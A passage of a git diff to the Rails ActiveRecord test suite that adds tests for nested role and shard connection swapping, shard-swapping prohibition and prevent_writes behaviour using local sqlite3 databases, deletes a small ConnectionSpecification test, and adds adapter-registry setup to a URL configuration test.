+            assert_equal "shard_key_one_secondary", ShardConnectionTestModel.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+            assert_equal "shard_key_one_secondary_b", ShardConnectionTestModelB.lease_connection.select_value("SELECT shard_key from shard_connection_test_models")
+          end
+          shard_one_latch.wait
+        end
+
+        thread.join
+      ensure
+        tf_shard_one.close
+        tf_shard_one.unlink
+        tf_default.close
+        tf_default.unlink
+        tf_shard_one_reading.close
+        tf_shard_one_reading.unlink
+        tf_default_reading.close
+        tf_default_reading.unlink
+        tf_shard_one2.close
+        tf_shard_one2.unlink
+        tf_default2.close
+        tf_default2.unlink
+        tf_shard_one_reading2.close
+        tf_shard_one_reading2.unlink
+        tf_default_reading2.close
+        tf_default_reading2.unlink
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_specification_test.rb b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
deleted file mode 100644
index 10a3521c793c2..0000000000000
--- a/activerecord/test/cases/connection_adapters/connection_specification_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  module ConnectionAdapters
-    class ConnectionSpecificationTest < ActiveRecord::TestCase
-      def test_dup_deep_copy_config
-        spec = ConnectionSpecification.new("primary", { a: :b }, "bar")
-        assert_not_equal(spec.config.object_id, spec.dup.config.object_id)
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/connection_adapters/connection_swapping_nested_test.rb b/activerecord/test/cases/connection_adapters/connection_swapping_nested_test.rb
new file mode 100644
index 0000000000000..1689cf876ab94
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_swapping_nested_test.rb
@@ -0,0 +1,655 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSwappingNestedTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+
+      fixtures :people
+
+      def teardown
+        clean_up_connection_handler
+      end
+
+      class PrimaryBase < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class PrimaryModel < PrimaryBase
+      end
+
+      class SecondaryBase < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class SecondaryModel < SecondaryBase
+      end
+
+      class TertiaryBase < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class TertiaryModel < TertiaryBase
+      end
+
+      class NonConnectionAbstractClass < SecondaryBase
+        self.abstract_class = true
+      end
+
+      class ModelInheritingFromNonConnectionAbstractClass < NonConnectionAbstractClass
+      end
+
+      unless in_memory_db?
+        def test_roles_can_be_swapped_granularly
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" },
+              "secondary_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_replica.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to database: { writing: :primary, reading: :primary_replica }
+          SecondaryBase.connects_to database: { writing: :secondary, reading: :secondary_replica }
+
+          # Switch everything to writing
+          ActiveRecord::Base.connected_to(role: :writing) do
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+            # Switch only primary to reading
+            PrimaryBase.connected_to(role: :reading) do
+              assert_equal "primary_replica", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+              # Switch global to reading
+              ActiveRecord::Base.connected_to(role: :reading) do
+                assert_equal "primary_replica", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_replica", SecondaryBase.connection_pool.db_config.name
+
+                # Switch only secondary to writing
+                SecondaryBase.connected_to(role: :writing) do
+                  assert_equal :writing, ModelInheritingFromNonConnectionAbstractClass.current_role
+                  assert_equal "primary_replica", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+                end
+
+                # Switch only secondary to reading
+                SecondaryBase.connected_to(role: :reading) do
+                  assert_equal :reading, ModelInheritingFromNonConnectionAbstractClass.current_role
+                  assert_equal "primary_replica", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary_replica", SecondaryBase.connection_pool.db_config.name
+                end
+
+                # Ensure restored to global reading
+                assert_equal "primary_replica", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_replica", SecondaryBase.connection_pool.db_config.name
+              end
+
+              # Switch everything to writing
+              ActiveRecord::Base.connected_to(role: :writing) do
+                assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+              end
+
+              # Ensure restored to primary reading
+              assert_equal "primary_replica", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+            end
+
+            # Ensure restored to global writing
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_shards_can_be_swapped_granularly
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3", "replica" => true },
+              "primary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3" },
+              "primary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3", "replica" => true },
+              "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" },
+              "secondary_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3", "replica" => true },
+              "secondary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3" },
+              "secondary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3", "replica" => true },
+              "secondary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3" },
+              "secondary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to(shards: {
+            default: { writing: :primary, reading: :primary_replica },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          SecondaryBase.connects_to(shards: {
+            default: { writing: :secondary, reading: :secondary_replica },
+            shard_one: { writing: :secondary_shard_one, reading: :secondary_shard_one_replica },
+            shard_two: { writing: :secondary_shard_two, reading: :secondary_shard_two_replica }
+          })
+
+          global_role = :writing
+
+          # Switch everything to default
+          ActiveRecord::Base.connected_to(role: global_role, shard: :default) do
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+            # Switch only primary to shard_one
+            PrimaryBase.connected_to(shard: :shard_one) do
+              assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+              # Switch global to shard_one
+              ActiveRecord::Base.connected_to(shard: :shard_one) do
+                assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_shard_one", SecondaryBase.connection_pool.db_config.name
+
+                # Switch only secondary to shard_two
+                SecondaryBase.connected_to(shard: :shard_two) do
+                  assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary_shard_two", SecondaryBase.connection_pool.db_config.name
+                end
+
+                # Ensure restored to global shard_one
+                assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_shard_one", SecondaryBase.connection_pool.db_config.name
+
+                # When shard not specified, leave things as-is
+                ActiveRecord::Base.connected_to(role: global_role) do
+                  assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary_shard_one", SecondaryBase.connection_pool.db_config.name
+                end
+              end
+
+              # Switch everything to default
+              ActiveRecord::Base.connected_to(shard: :default) do
+                assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+              end
+
+              # Ensure restored to primary shard_one
+              assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+            end
+
+            # Ensure restored to global default
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_shard_swapping_prohibition_exception_recovery
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3" },
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to(shards: {
+            default: { writing: :primary },
+            shard_one: { writing: :primary_shard_one },
+            shard_two: { writing: :primary_shard_two }
+          })
+
+          global_role = :writing
+
+          # Switch everything to default
+          ActiveRecord::Base.connected_to(role: global_role, shard: :default) do
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+
+            # Switch only primary to shard_one
+            PrimaryBase.connected_to(shard: :shard_one) do
+              assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+
+              PrimaryBase.prohibit_shard_swapping do
+                assert_raises(ShardSwapProhibitedError) do
+                  PrimaryBase.connected_to(shard: :shard_two) { }
+                end
+
+                assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+
+                # Prohibition can be lifted
+                PrimaryBase.prohibit_shard_swapping(false) do
+                  PrimaryBase.connected_to(shard: :shard_two) do
+                    assert_equal "primary_shard_two", PrimaryBase.connection_pool.db_config.name
+                  end
+                end
+              end
+
+              PrimaryBase.prohibit_shard_swapping do
+                assert_raises(ShardSwapProhibitedError) do
+                  ActiveRecord::Base.connected_to_many([PrimaryBase], shard: :shard_two, role: :writing) { }
+                end
+
+                assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+
+                # Prohibition can be lifted
+                PrimaryBase.prohibit_shard_swapping(false) do
+                  ActiveRecord::Base.connected_to_many([PrimaryBase], shard: :shard_two, role: :writing) do
+                    assert_equal "primary_shard_two", PrimaryBase.connection_pool.db_config.name
+                  end
+                end
+              end
+            end
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_granular_prohibition_of_shard_swapping
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3" },
+              "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" },
+              "secondary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3" },
+              "secondary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3" },
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to(shards: {
+            default: { writing: :primary },
+            shard_one: { writing: :primary_shard_one },
+            shard_two: { writing: :primary_shard_two }
+          })
+
+          SecondaryBase.connects_to(shards: {
+            default: { writing: :secondary },
+            shard_one: { writing: :secondary_shard_one },
+            shard_two: { writing: :secondary_shard_two }
+          })
+
+          global_role = :writing
+
+          # Switch everything to default
+          ActiveRecord::Base.connected_to(role: global_role, shard: :default) do
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+            # Switch only primary to shard_one
+            PrimaryBase.connected_to(shard: :shard_one) do
+              assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+              # No prohibition on changing PrimaryBase again
+              PrimaryBase.connected_to(shard: :shard_two) do
+                assert_equal "primary_shard_two", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+              end
+
+              ActiveRecord::Base.connected_to_many([PrimaryBase], shard: :shard_two, role: :writing) do
+                assert_equal "primary_shard_two", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+              end
+
+              # Prohibit shard swapping on PrimaryBase
+              PrimaryBase.prohibit_shard_swapping do
+                assert_raises(ShardSwapProhibitedError) do
+                  PrimaryBase.connected_to(shard: :shard_two) { }
+                end
+
+                assert_raises(ShardSwapProhibitedError) do
+                  ActiveRecord::Base.connected_to_many([PrimaryBase], shard: :shard_two, role: :writing) { }
+                end
+
+                # Shard swapping on SecondaryBase has not been prohibited
+                SecondaryBase.connected_to(shard: :shard_one) do
+                  assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary_shard_one", SecondaryBase.connection_pool.db_config.name
+
+                  SecondaryBase.prohibit_shard_swapping do
+                    assert_raises(ShardSwapProhibitedError) do
+                      SecondaryBase.connected_to(shard: :shard_two) { }
+                    end
+
+                    assert_raises(ShardSwapProhibitedError) do
+                      ActiveRecord::Base.connected_to_many([SecondaryBase], shard: :shard_two, role: :writing) { }
+                    end
+                  end
+
+                  SecondaryBase.connected_to(shard: :shard_two) do
+                    assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                    assert_equal "secondary_shard_two", SecondaryBase.connection_pool.db_config.name
+                  end
+
+                  ActiveRecord::Base.connected_to_many([SecondaryBase], shard: :shard_two, role: :writing) do
+                    assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                    assert_equal "secondary_shard_two", SecondaryBase.connection_pool.db_config.name
+                  end
+                end
+              end
+            end
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_roles_and_shards_can_be_swapped_granularly
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3", "replica" => true },
+              "primary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3" },
+              "primary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3", "replica" => true },
+              "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" },
+              "secondary_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3", "replica" => true },
+              "secondary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3" },
+              "secondary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3", "replica" => true },
+              "secondary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3" },
+              "secondary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to(shards: {
+            default: { writing: :primary, reading: :primary_replica },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          SecondaryBase.connects_to(shards: {
+            default: { writing: :secondary, reading: :secondary_replica },
+            shard_one: { writing: :secondary_shard_one, reading: :secondary_shard_one_replica },
+            shard_two: { writing: :secondary_shard_two, reading: :secondary_shard_two_replica }
+          })
+
+          # Switch everything to writing, default shard
+          ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+            # Switch only primary to reading, shard_one
+            PrimaryBase.connected_to(role: :reading, shard: :shard_one) do
+              assert_equal "primary_shard_one_replica", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+
+              # Switch global to reading, shard_one
+              ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
+                assert_equal "primary_shard_one_replica", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_shard_one_replica", SecondaryBase.connection_pool.db_config.name
+
+                # Switch only secondary to writing shard_two
+                SecondaryBase.connected_to(role: :writing, shard: :shard_two) do
+                  assert_equal "primary_shard_one_replica", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary_shard_two", SecondaryBase.connection_pool.db_config.name
+                end
+
+                # Ensure restored to global reading, shard_one
+                assert_equal "primary_shard_one_replica", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_shard_one_replica", SecondaryBase.connection_pool.db_config.name
+
+                # When shard not specified, leave shard alone
+                ActiveRecord::Base.connected_to(role: :writing) do
+                  assert_equal "primary_shard_one", PrimaryBase.connection_pool.db_config.name
+                  assert_equal "secondary_shard_one", SecondaryBase.connection_pool.db_config.name
+                end
+              end
+
+              # Switch everything to writing, shard default
+              ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
+                assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+              end
+
+              # Ensure restored to primary reading shard_one, secondary writing default
+              assert_equal "primary_shard_one_replica", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+            end
+
+            # Ensure restored to global writing, default shard
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_connected_to_many
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true },
+              "primary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3" },
+              "primary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_one.sqlite3", "replica" => true },
+              "primary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3" },
+              "primary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary_shard_two.sqlite3", "replica" => true },
+              "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" },
+              "secondary_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3", "replica" => true },
+              "secondary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3" },
+              "secondary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_one.sqlite3", "replica" => true },
+              "secondary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3" },
+              "secondary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_shard_two.sqlite3", "replica" => true },
+              "tertiary" => { "adapter" => "sqlite3", "database" => "test/db/tertiary.sqlite3" },
+              "tertiary_replica" => { "adapter" => "sqlite3", "database" => "test/db/tertiary.sqlite3", "replica" => true },
+              "tertiary_shard_one" => { "adapter" => "sqlite3", "database" => "test/db/tertiary_shard_one.sqlite3" },
+              "tertiary_shard_one_replica" => { "adapter" => "sqlite3", "database" => "test/db/tertiary_shard_one.sqlite3", "replica" => true },
+              "tertiary_shard_two" => { "adapter" => "sqlite3", "database" => "test/db/tertiary_shard_two.sqlite3" },
+              "tertiary_shard_two_replica" => { "adapter" => "sqlite3", "database" => "test/db/tertiary_shard_two.sqlite3", "replica" => true }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to(shards: {
+            default: { writing: :primary, reading: :primary_replica },
+            shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
+          })
+
+          SecondaryBase.connects_to(shards: {
+            default: { writing: :secondary, reading: :secondary_replica },
+            shard_one: { writing: :secondary_shard_one, reading: :secondary_shard_one_replica },
+            shard_two: { writing: :secondary_shard_two, reading: :secondary_shard_two_replica }
+          })
+
+          TertiaryBase.connects_to(shards: {
+            default: { writing: :tertiary, reading: :tertiary_replica },
+            shard_one: { writing: :tertiary_shard_one, reading: :tertiary_shard_one_replica },
+            shard_two: { writing: :tertiary_shard_two, reading: :tertiary_shard_two_replica }
+          })
+
+          # Switch everything to writing, default shard
+          ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+            assert_equal "tertiary", TertiaryBase.connection_pool.db_config.name
+
+            # Switch two to reading
+            ActiveRecord::Base.connected_to_many([SecondaryBase, TertiaryBase], role: :reading) do
+              assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+              assert_equal "secondary_replica", SecondaryBase.connection_pool.db_config.name
+              assert_equal "tertiary_replica", TertiaryBase.connection_pool.db_config.name
+
+              # Switch one back
+              ActiveRecord::Base.connected_to_many([TertiaryBase], role: :writing) do
+                assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+                assert_equal "secondary_replica", SecondaryBase.connection_pool.db_config.name
+                assert_equal "tertiary", TertiaryBase.connection_pool.db_config.name
+              end
+            end
+
+            # Switched back
+            assert_equal "primary", PrimaryBase.connection_pool.db_config.name
+            assert_equal "secondary", SecondaryBase.connection_pool.db_config.name
+            assert_equal "tertiary", TertiaryBase.connection_pool.db_config.name
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_prevent_writes_can_be_changed_granularly
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          # replica: true is purposefully left out so we can test the pools behavior
+          config = {
+            "default_env" => {
+              "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "primary_replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "secondary" => { "adapter" => "sqlite3", "database" => "test/db/secondary.sqlite3" },
+              "secondary_replica" => { "adapter" => "sqlite3", "database" => "test/db/secondary_replica.sqlite3" }
+            }
+          }
+
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          PrimaryBase.connects_to database: { writing: :primary, reading: :primary_replica }
+          SecondaryBase.connects_to database: { writing: :secondary, reading: :secondary_replica }
+
+          # Switch everything to writing
+          ActiveRecord::Base.connected_to(role: :writing) do
+            assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+            assert_not_predicate PrimaryBase.lease_connection, :preventing_writes?
+            assert_not_predicate SecondaryBase.lease_connection, :preventing_writes?
+
+            # Switch only primary to reading
+            PrimaryBase.connected_to(role: :reading) do
+              assert_predicate PrimaryBase.lease_connection, :preventing_writes?
+              assert_not_predicate SecondaryBase.lease_connection, :preventing_writes?
+
+              # Switch global to reading
+              ActiveRecord::Base.connected_to(role: :reading) do
+                assert_predicate PrimaryBase.lease_connection, :preventing_writes?
+                assert_predicate SecondaryBase.lease_connection, :preventing_writes?
+
+                # Switch only secondary to writing
+                SecondaryBase.connected_to(role: :writing) do
+                  assert_predicate PrimaryBase.lease_connection, :preventing_writes?
+                  assert_not_predicate SecondaryBase.lease_connection, :preventing_writes?
+                end
+
+                # Ensure restored to global reading
+                assert_predicate PrimaryBase.lease_connection, :preventing_writes?
+                assert_predicate SecondaryBase.lease_connection, :preventing_writes?
+              end
+
+              # Switch everything to writing
+              ActiveRecord::Base.connected_to(role: :writing) do
+                assert_not_predicate PrimaryBase.lease_connection, :preventing_writes?
+                assert_not_predicate SecondaryBase.lease_connection, :preventing_writes?
+              end
+
+              assert_predicate PrimaryBase.lease_connection, :preventing_writes?
+              assert_not_predicate SecondaryBase.lease_connection, :preventing_writes?
+            end
+
+            # Ensure restored to global writing
+            assert_not_predicate PrimaryBase.lease_connection, :preventing_writes?
+            assert_not_predicate SecondaryBase.lease_connection, :preventing_writes?
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        class ApplicationRecord < ActiveRecord::Base
+          self.abstract_class = true
+        end
+
+        def test_application_record_prevent_writes_can_be_changed
+          Object.const_set(:ApplicationRecord, ApplicationRecord)
+
+          ApplicationRecord.connects_to(database: { writing: :arunit, reading: :arunit })
+
+          # Switch everything to writing
+          ActiveRecord::Base.connected_to(role: :writing) do
+            assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+            assert_not_predicate ApplicationRecord.lease_connection, :preventing_writes?
+
+            ApplicationRecord.connected_to(role: :reading) do
+              assert_predicate ApplicationRecord.lease_connection, :preventing_writes?
+            end
+
+            # reading is fine bc it's looking up by AppRec but writing is not fine
+            # bc its looking up by ARB in the stack
+            ApplicationRecord.connected_to(role: :writing, prevent_writes: true) do
+              assert_predicate ApplicationRecord.lease_connection, :preventing_writes?
+            end
+          end
+        ensure
+          ApplicationRecord.remove_connection
+          ActiveRecord.application_record_class = nil
+          Object.send(:remove_const, :ApplicationRecord)
+          ActiveRecord::Base.establish_connection :arunit
+        end
+
+        def test_prevent_writes_handles_class_reloading
+          # Regression test for https://github.com/rails/rails/issues/54343
+          Object.const_set(:ReloadedRecord, Class.new(ActiveRecord::Base) { self.abstract_class = true })
+          ReloadedRecord.connects_to(database: { writing: :arunit, reading: :arunit })
+
+          ActiveRecord::Base.connected_to(role: :reading, prevent_writes: true) do
+            ReloadedRecord.connected_to(role: :writing, prevent_writes: false) do
+              assert_not_predicate ReloadedRecord.lease_connection, :preventing_writes?
+            end
+          end
+
+          # emulate a reload in development mode
+          Object.send(:remove_const, :ReloadedRecord)
+          Object.const_set(:ReloadedRecord, Class.new(ActiveRecord::Base) { self.abstract_class = true })
+          ReloadedRecord.connects_to(database: { writing: :arunit, reading: :arunit })
+
+          ActiveRecord::Base.connected_to(role: :reading, prevent_writes: true) do
+            ReloadedRecord.connected_to(role: :writing, prevent_writes: false) do
+              assert_not_predicate ReloadedRecord.lease_connection, :preventing_writes?
+            end
+          end
+        ensure
+          ReloadedRecord.remove_connection
+          ActiveRecord.application_record_class = nil
+          Object.send(:remove_const, :ReloadedRecord)
+          ActiveRecord::Base.establish_connection :arunit
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
index 8faa67255daa2..17e51615a219f 100644
--- a/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
+++ b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,130 +9,221 @@ def setup
         @previous_database_url = ENV.delete("DATABASE_URL")
         @previous_rack_env = ENV.delete("RACK_ENV")
         @previous_rails_env = ENV.delete("RAILS_ENV")
+        @adapters_was = ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).dup
+        @protocol_adapters = ActiveRecord.protocol_adapters.dup
       end
 
       teardown do
         ENV["DATABASE_URL"] = @previous_database_url
         ENV["RACK_ENV"] = @previous_rack_env
         ENV["RAILS_ENV"] = @previous_rails_env
+        ActiveRecord::ConnectionAdapters.instance_variable_set(:@adapters, @adapters_was)
+        ActiveRecord.protocol_adapters = @protocol_adapters
+      end
+
+      def resolve_config(config, env_name = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call)
